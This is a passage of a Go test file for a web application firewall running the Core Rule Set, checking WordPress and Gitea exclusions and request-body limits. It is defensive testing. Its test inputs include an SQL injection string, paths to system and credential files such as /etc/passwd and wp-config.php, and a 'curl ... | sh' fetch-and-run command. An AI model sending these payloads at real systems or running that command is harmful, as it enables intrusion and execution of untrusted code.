matched(932235)) } bodies := readingBodiesUpTo64K(t) for _, p := range wordpressBodyFields(command) { r := request{http.MethodPost, p.target, []string{p.contentType}} wantBody(t, bodies, r, p.body, matched(932235), p.body) } // The addresses of a link preview, an embed and a commenter's site keep // 932260 too. for _, target := range []string{ "/wp-json/wp-block-editor/v1/url-details?url=", "/wp-json/oembed/1.0/proxy?url=", } { wantResult(t, crs, get(target+command), matched(932235, 932260)) } comment := request{http.MethodPost, wpComment, []string{formData}} wantBody(t, bodies, comment, "url="+command, matched(932235, 932260), "url="+command) } // TestWordPressOtherFieldsAreExcludedOnlyThere checks each field and rule // on one of its paths against the same value where no exclusion applies. func TestWordPressOtherFieldsAreExcludedOnlyThere(t *testing.T) { t.Parallel() const elsewhere = "/example/things" crs := atDefaults(t) for _, tt := range []struct { target string rule int }{ {"/page/2/?s=python3", 932260}, {"/page/2/?s=ls+-la", 932250}, {"/page/2/?s=powershell", 932120}, {"/index.php/page/2/?s=python3", 932260}, {"/?s=.htaccess", 930120}, {"/?s=wp-config.php", 930120}, {"/?s=.bashrc", 930120}, {"/page/2/?s=.htaccess", 930120}, {"/wp-admin/edit-comments.php?s=powershell", 932120}, {"/wp-admin/users.php?s=ls+-la", 932250}, {"/wp-admin/plugins.php?s=python3", 932260}, {"/wp-admin/edit-tags.php?s=python3", 932260}, {"/wp-admin/themes.php?search=powershell", 932120}, {"/wp-admin/theme-install.php?search=ls+-la", 932250}, {"/wp-admin/upload.php?search=python3", 932260}, {"/wp-admin/admin-ajax.php?q=powershell", 932120}, {"/wp-admin/admin-ajax.php?q=ls+-la", 932250}, {"/wp-admin/admin-ajax.php?q=python3", 932260}, {"/wp-admin/admin-ajax.php?term=powershell", 932120}, {"/wp-admin/admin-ajax.php?term=ls+-la", 932250}, {"/wp-admin/admin-ajax.php?term=python3", 932260}, {"/wp-admin/edit.php?_wp_http_referer=.htaccess", 930120}, {"/wp-admin/edit.php?_wp_http_referer=powershell", 932120}, {"/wp-admin/upload.php?_wp_http_referer=ls+-la", 932250}, {"/wp-admin/users.php?_wp_http_referer=python3", 932260}, {"/wp-admin/upload.php?_wp_http_referer=%2Fupload.php%3Fmode%3Dlist%26ps", 932340}, {"/?tag=python3", 932260}, {"/index.php?tag=powershell", 932120}, {"/wp-admin/edit.php?tag=ls+-la", 932250}, {"/wp-admin/edit.php?category_name=python3", 932260}, {"/wp-admin/edit.php?category_name=powershell", 932120}, {"/wp-admin/edit.php?category_name=ls+-la", 932250}, {"/wp-admin/plugin-editor.php?file=install-script.sh", 932120}, {"/wp-admin/theme-editor.php?file=document.write.js", 941180}, {"/wp-admin/plugin-editor.php?plugin=docker-helper", 932260}, {"/wp-admin/plugins.php?plugin=powershell-tools", 932120}, {"/wp-admin/update.php?plugin=docker-helper", 932260}, {"/wp-admin/admin.php?page=docker-helper", 932260}, {"/wp-admin/options-general.php?page=powershell-tools", 932120}, {"/wp-admin/tools.php?page=ls+-la", 932250}, {"/wp-admin/tools.php?page=.htaccess", 930120}, {"/wp-admin/site-editor.php?p=%2Fwp_template%2Fpython3-theme%2F%2Findex", 932260}, {"/wp-admin/site-editor.php?postId=powershell-theme%2F%2Findex", 932120}, {"/wp-admin/admin-ajax.php?slug=docker-helper", 932260}, {"/wp-json/wp-block-editor/v1/url-details?url=" + "http%3A%2F%2Fblog.example%2Fpowershell-basics%2F", 932120}, {"/wp-json/oembed/1.0/proxy?url=http%3A%2F%2Fblog.example%2F.htaccess", 930120}, } { _, query, _ := strings.Cut(tt.target, "?") wantChange(t, crs, get(tt.target), get(elsewhere+"?"+query), matched(tt.rule)) } } // TestWordPressRESTFieldsAreExcludedOnlyThere checks search, term, url and // the header X-HTTP-Method-Override at the REST API's addresses. func TestWordPressRESTFieldsAreExcludedOnlyThere(t *testing.T) { t.Parallel() crs := atDefaults(t) // Any route of WordPress's own API, at each address. for _, route := range []string{ "/wp/v2/tags", "/wp/v2/categories", "/wp/v2/pages", "/wp/v2/media", "/wp/v2/users", "/wp/v2/blocks", "/wp/v2/pattern-directory/patterns", } { wantChange(t, crs, get("/wp-json"+route+"?search=python3"), get("/wp-json/example/v1/things?search=python3"), matched(932260)) wantChange(t, crs, get("/index.php?rest_route="+route+"&search=python3"), get("/index.php?rest_route=/example/v1/things&search=python3"), matched(932260)) wantChange(t, crs, get("/?rest_route="+route+"&search=.htaccess"), get("/?rest_route=/example/v1/things&search=.htaccess"), matched(930120)) } const directory = "/wp-json/wp/v2/block-directory/search" wantChange(t, crs, get(directory+"?term=python3"), get("/wp-json/example/v1/things?term=python3"), matched(932260)) wantChange(t, crs, get(directory+"?term=powershell"), get("/wp-json/example/v1/things?term=powershell"), matched(932120)) wantChange(t, crs, get(directory+"?term=ls+-la"), get("/wp-json/example/v1/things?term=ls+-la"), matched(932250)) // The block editor's link previews and embeds: url skips only 930120 and // 932120. for _, target := range []string{ "/wp-json/wp-block-editor/v1/url-details?url=", "/?rest_route=/wp-block-editor/v1/url-details&url=", "/wp-json/oembed/1.0/proxy?url=", "/?rest_route=/oembed/1.0/proxy&url=", } { for _, v := range wordpressWords() { want := coreruleset.Result{} if v.rule == 932250 || v.rule == 932260 { want = matched(v.rule) } wantResult(t, crs, get(target+url.QueryEscape(v.value)), want) } } // The header X-HTTP-Method-Override at the address on the site root, // and off the REST API. headers := []string{jsonBody, "Content-Length: 2", wordpressOverride} wantChange(t, crs, request{http.MethodPost, "/?rest_route=/wp/v2/posts/1", headers}, request{http.MethodPost, "/?p=1", headers}, matched(920450)) } func TestWordPressBodyFieldsAreCheckedInTheQuery(t *testing.T) { t.Parallel() crs := atDefaults(t) wantResult(t, crs, get(wpLogin+"?pwd=%2Fetc%2Fhosts"), matched(930120)) wantResult(t, crs, get(wpLogin+"?PWD=%2Fetc%2Fhosts"), matched(930120)) wantResult(t, crs, get("/wp-admin/admin-ajax.php?content=ls+-la"), matched(932250)) wantResult(t, crs, get("/wp-admin/admin-ajax.php?newcontent=%3Cstyle%3E"), matched(941100, 941160)) wantResult(t, crs, get("/wp-json/wp/v2/posts/1?json.content="+url.QueryEscape(wordpressBlock)), matched(941180)) wantResult(t, crs, get("/wp-json/wp/v2/posts/1?json.title=python3"), matched(932260)) wantResult(t, crs, get("/wp-comments-post.php?url=powershell"), matched(932120)) } // TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere checks the JSON // fields of a REST API save, a plugin to install and a commenter's address, // against the same values in another field and off their paths. func TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere(t *testing.T) { t.Parallel() crs := readingBodiesUpTo64K(t) for _, v := range wordpressWords() { for _, field := range []string{"title", "excerpt", "name"} { body := fmt.Sprintf(`{%q:%q}`, field, v.value) for _, address := range wordpressRESTAddresses("/wp/v2/posts/1") { r := request{http.MethodPost, address, []string{jsonBody, wordpressOverride}} wantBody(t, crs, r, body, coreruleset.Result{}, body) } r := request{http.MethodPost, "/wp-json/example/v1/things", []string{jsonBody}} wantBody(t, crs, r, body, matched(v.rule), body) } other := fmt.Sprintf(`{"description":%q}`, v.value) r := request{http.MethodPost, wpTags, []string{jsonBody}} wantBody(t, crs, r, other, matched(v.rule), other) } // A post's slug and a plugin to install skip only 932120 and 932260. post := request{http.MethodPost, wpPost, []string{jsonBody, wordpressOverride}} install := request{http.MethodPost, wpAjax, []string{formData}} for _, v := range wordpressWords() { want := coreruleset.Result{} if v.rule == 930120 || v.rule == 932250 { want = matched(v.rule) } slug := fmt.Sprintf(`{"slug":%q}`, v.value) wantBody(t, crs, post, slug, want, slug) plugin := "action=install-plugin&slug=" + url.QueryEscape(v.value) wantBody(t, crs, install, plugin, want, plugin) } comment := request{http.MethodPost, wpComment, []string{formData}} elsewhere := request{http.MethodPost, "/example/things", []string{formData}} // A commenter's address skips the two rules that refused an address. for _, v := range []struct { address string rule int }{ {"http://blog.example/.htaccess", 930120}, {"http://blog.example/powershell-basics/", 932120}, } { body := "url=" + url.QueryEscape(v.address) wantBody(t, crs, comment, body, coreruleset.Result{}, body) wantBody(t, crs, elsewhere, body, matched(v.rule), body) author := "author=" + url.QueryEscape(v.address) wantBody(t, crs, comment, author, matched(v.rule), author) } // The rules on Unix commands keep it. wantBody(t, crs, comment, "url=python3", matched(932260), "url=python3") wantBody(t, crs, comment, "url=ls+-la", matched(932250), "url=ls+-la") } func TestWordPressExclusionsAreNarrow(t *testing.T) { t.Parallel() const ( offREST = "/api/posts/1" length = "Content-Length: 2" ) crs := readingBodiesUpTo64K(t) saving := request{http.MethodPost, wpPost, []string{jsonBody, wordpressOverride}} content := `{"content":"` + wordpressBlock + `"}` wantBody(t, crs, saving, content, coreruleset.Result{}, content) // The other fields of the post keep the rule, and so does the same field // off the REST API. title := `{"title":"` + wordpressBlock + `"}` wantBody(t, crs, saving, title, matched(941180), title) wantBody(t, crs, request{http.MethodPost, offREST, []string{jsonBody}}, content, matched(941180), content) // The header X-HTTP-Method-Override is refused off the REST API. defaults := atDefaults(t) wantResult(t, defaults, request{http.MethodPost, wpPost, []string{jsonBody, length, wordpressOverride}}, coreruleset.Result{}) wantResult(t, defaults, request{http.MethodPost, offREST, []string{jsonBody, length, wordpressOverride}}, matched(920450)) // Signing in: pwd alone skips the list of system files. signIn := request{http.MethodPost, wpLogin, []string{formData}} body := "log=a&pwd=b%20%2Fetc%2Fhosts" wantBody(t, crs, signIn, body, coreruleset.Result{}, body) body = "log=b%20%2Fetc%2Fhosts&pwd=a" wantBody(t, crs, signIn, body, matched(930120), body) } // bodyLimit is SWW_WAF_BODY_LIMIT in the tests that read bodies. const bodyLimit = 8 << 10 // The Content-Type headers of the kinds of body the Core Rule Set reads. const ( formData = "Content-Type: application/x-www-form-urlencoded" multipart = "Content-Type: multipart/form-data; boundary=b" jsonBody = "Content-Type: application/json" xmlBody = "Content-Type: application/xml" ) // injection is an SQL injection, which rule 942100 matches. const injection = "1' OR '1'='1" // scriptTag is a script injection, not escaped. const scriptTag = "" // readingBodies returns the Core Rule Set as sww runs it by // default, but reading bodies up to bodyLimit. func readingBodies(t *testing.T) *coreruleset.CoreRuleSet { t.Helper() return shared(t, coreruleset.Params{ ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit, }) } // post is a POST request for / with a body of the type contentType, a // Content-Type header, gives, and headers besides. func post(contentType string, headers ...string) request { return request{http.MethodPost, "/", append([]string{contentType}, headers...)} } // field is a part of a multipart body: the field name, holding value. func field(name, value string) string { return "--b\r\nContent-Disposition: form-data; name=\"" + name + "\"\r\n\r\n" + value + "\r\n" } // end ends a multipart body. const end = "--b--\r\n" // padded returns head and tail with as many a's between them as make n // bytes in all. func padded(head, tail string, n int) string { return head + strings.Repeat("a", n-len(head)-len(tail)) + tail } // wantBody checks what crs finds in r with body, and that what it read of // body is read. func wantBody( t *testing.T, crs *coreruleset.CoreRuleSet, r request, body string, want coreruleset.Result, read string, ) { t.Helper() got, gotRead := inspectBody(t, crs, r, body) if !reflect.DeepEqual(got, want) || gotRead != read { t.Errorf("%q with a body of %d bytes, %.40q: %+v, reading %d bytes, "+ "want %+v, reading %d", r.headers, len(body), body, got, len(gotRead), want, len(read)) } } func TestBodiesAreReadOnlyWhileBodyLimitIsSet(t *testing.T) { t.Parallel() off, on := atDefaults(t), readingBodies(t) for _, tc := range []struct{ header, body string }{ {formData, "q=" + url.QueryEscape(injection)}, {multipart, field("q", injection) + end}, {jsonBody, `{"q":"` + injection + `"}`}, {xmlBody, "" + injection + ""}, } { wantBody(t, off, post(tc.header), tc.body, coreruleset.Result{}, "") wantBody(t, on, post(tc.header), tc.body, matched(942100), tc.body) } } func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) { t.Parallel() crs := readingBodies(t) pad := strings.Repeat("a", bodyLimit) for _, tc := range []struct{ header, attackFirst, attackLast string }{ { formData, "q=" + url.QueryEscape(injection) + "&pad=" + pad, "pad=" + pad + "&q=" + url.QueryEscape(injection), }, { multipart, field("q", injection) + field("pad", pad) + end, field("pad", pad) + field("q", injection) + end, }, } { wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100), tc.attackFirst[:bodyLimit+1]) wantBody(t, crs, post(tc.header), tc.attackLast, coreruleset.Result{}, tc.attackLast[:bodyLimit+1]) } // To the byte: a system file's path is found when it ends at the limit, // and not when its last letter is past it, which is still read. atLimit := padded("pad=", "&q=/etc/passwd", bodyLimit) wantBody(t, crs, post(formData), atLimit, matched(930120, 932160), atLimit) pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1) wantBody(t, crs, post(formData), pastLimit, coreruleset.Result{}, pastLimit) } func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) { t.Parallel() crs := readingBodies(t) for _, tc := range []struct{ header, head, tail string }{ {jsonBody, `{"q":"` + injection + `","pad":"`, `"}`}, {xmlBody, "" + injection + "", ""}, } { fits := padded(tc.head, tc.tail, bodyLimit) wantBody(t, crs, post(tc.header), fits, matched(942100), fits) larger := padded(tc.head, tc.tail, bodyLimit+1) wantBody(t, crs, post(tc.header), larger, coreruleset.Result{}, larger) } } func TestOtherBodiesAreNotRead(t *testing.T) { t.Parallel() crs := readingBodies(t) // Read as form data, which the Core Rule Set does with a body of a type // it does not know, this would be an SQL injection. body := "q=" + url.QueryEscape(injection) for _, header := range []string{ "Content-Type: application/octet-stream", "Content-Type: text/plain", "Content-Type: application/x-git-receive-pack-request", } { wantBody(t, crs, post(header), body, coreruleset.Result{}, "") } } func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(t *testing.T) { t.Parallel() const gzip = "Content-Encoding: gzip" crs := readingBodies(t) for _, tc := range []struct{ header, body string }{ {formData, "a=1"}, {multipart, field("a", "1") + end}, {jsonBody, `{"a":1}`}, {xmlBody, "1"}, } { wantBody(t, crs, post(tc.header, gzip), tc.body, matched(920450), tc.body) } // Whatever its size: a JSON body larger than the limit is not read, but // Content-Encoding on it is refused all the same. larger := strings.Repeat("a", bodyLimit+1) wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger) // It is allowed on a body of any other kind, and on every body while no // body is read. fetch := "Content-Type: application/x-git-upload-pack-request" wantBody(t, crs, post(fetch, gzip), "a", coreruleset.Result{}, "") wantBody(t, atDefaults(t), post(formData, gzip), "a", coreruleset.Result{}, "") } func TestParametersGiteaSendsNamesInAreLeftOutAmongFormFieldsToo(t *testing.T) { t.Parallel() crs := readingBodies(t) local := url.QueryEscape("http://127.0.0.1:52341/") for _, tc := range []struct { body string want coreruleset.Result }{ {"path=.gitignore", coreruleset.Result{}}, {"q=.gitignore", matched(930120)}, {"redirect_uri=" + local, coreruleset.Result{}}, {"next=" + local, matched(931100, 934110)}, } { wantBody(t, crs, post(formData), tc.body, tc.want, tc.body) } body := field("path", ".gitignore") + end wantBody(t, crs, post(multipart), body, coreruleset.Result{}, body) body = field("q", ".gitignore") + end wantBody(t, crs, post(multipart), body, matched(930120), body) // A JSON body's field is named by its path, here json.path, and is // checked. body = `{"path":".gitignore"}` wantBody(t, crs, post(jsonBody), body, matched(930120), body) } func TestGiteaBodiesTheCoreRuleSetRefuses(t *testing.T) { t.Parallel() crs := readingBodies(t) // A comment that shows a shell command. const text = "Try `curl -s https://example.org | sh` first." comment := "content=" + url.QueryEscape(text) wantBody(t, crs, post(formData), comment, matched(932235), comment) // An attachment named like a log file. attachment := "--b\r\nContent-Disposition: form-data; name=\"file\"; " + "filename=\"debug.log\"\r\nContent-Type: text/plain\r\n\r\nstarted\r\n" + end wantBody(t, crs, post(multipart), attachment, matched(932180), attachment) } func TestTypesEndingInXMLOrJSONAndTextJSONAreRead(t *testing.T) { t.Parallel() crs := readingBodies(t) for _, tc := range []struct{ contentType, body string }{ {"application/atom+xml", "" + injection + ""}, {"application/vnd.example+xml", "" + injection + ""}, {"application/vnd.example+json", `{"q":"` + injection + `"}`}, {"text/json", `{"q":"` + injection + `"}`}, } { wantBody(t, crs, post("Content-Type: "+tc.contentType), tc.body, matched(942100), tc.body) } } func TestBodyCorazaCannotParseIsAMatch(t *testing.T) { t.Parallel() crs := readingBodies(t) // An end tag after the root element, past which Coraza reads none of // the body, while an app may still read the attack before it. body := "" + injection + "" wantBody(t, crs, post(xmlBody), body, matched(900440), body) // The multipart bodies Coraza cannot parse fail its strict checks too: // one whose type names its boundary twice, and one with a part header // that has no colon, before the attack. They do so padded past the // limit too, which cuts them in the padding. noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n" pad := field("pad", strings.Repeat("a", bodyLimit)) for _, tc := range []struct{ header, head string }{ {multipart + "; boundary=c", ""}, {multipart, noColon}, } { body = tc.head + field("q", injection) + end wantBody(t, crs, post(tc.header), body, matched(900440, 900450), body) body = tc.head + field("q", injection) + pad + end wantBody(t, crs, post(tc.header), body, matched(900440, 900450), body[:bodyLimit+1]) } } func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) { t.Parallel() // The limit falls in the middle of the name of the second part's // header, which Coraza, reading up to the limit, cannot tell from a // header without a colon. cut := "--b\r\nContent-Di" first := field("pad", strings.Repeat("a", bodyLimit-len(field("pad", ""))-len(cut))) body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end wantBody(t, readingBodies(t), post(multipart), body, matched(900440, 900450), body[:bodyLimit+1]) } func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch(t *testing.T) { t.Parallel() crs := readingBodies(t) headerLine := "--b\r\nContent-Disposition: form-data; name=\"q\"\r" // The limit falls between the carriage return and the line feed that // end the second part's header line, and then between those that end // the empty line after it. Coraza, reading up to the limit, takes the // line ending in a lone carriage return for a malformed header. for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} { first := field("pad", strings.Repeat("a", bodyLimit-len(field("pad", ""))-cut)) body := first + field("q", "1") + end wantBody(t, crs, post(multipart), body, matched(900440, 900450), body[:bodyLimit+1]) } } // TestCorazaWritesNoFile is not parallel, since it sets TMPDIR, the // system's temporary directory, for the whole test process. func TestCorazaWritesNoFile(t *testing.T) { // The system's temporary directory is one that does not exist, so that // Coraza could write nothing there: built without no_fs_access, it // refuses to load, and could not write a file of a multipart body. t.Setenv("TMPDIR", filepath.Join(t.TempDir(), "missing")) // The test loads its own Core Rule Set, since loading is part of what // it checks. crs, err := coreruleset.New(coreruleset.Params{ ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit, }) if err != nil { t.Fatalf("load the Core Rule Set: %v", err) } body := "--b\r\nContent-Disposition: form-data; name=\"file\"; " + "filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\n" + strings.Repeat("a", 1000) + "\r\n" + field("q", injection) + end wantBody(t, crs, post(multipart), body, matched(942100), body) } func TestBodyLimitOf1GLoads(t *testing.T) { t.Parallel() _, err := coreruleset.New(coreruleset.Params{ParanoiaLevel: 1, BodyLimit: 1 << 30}) if err != nil { t.Errorf("load the Core Rule Set reading bodies up to 1G: %v", err) } }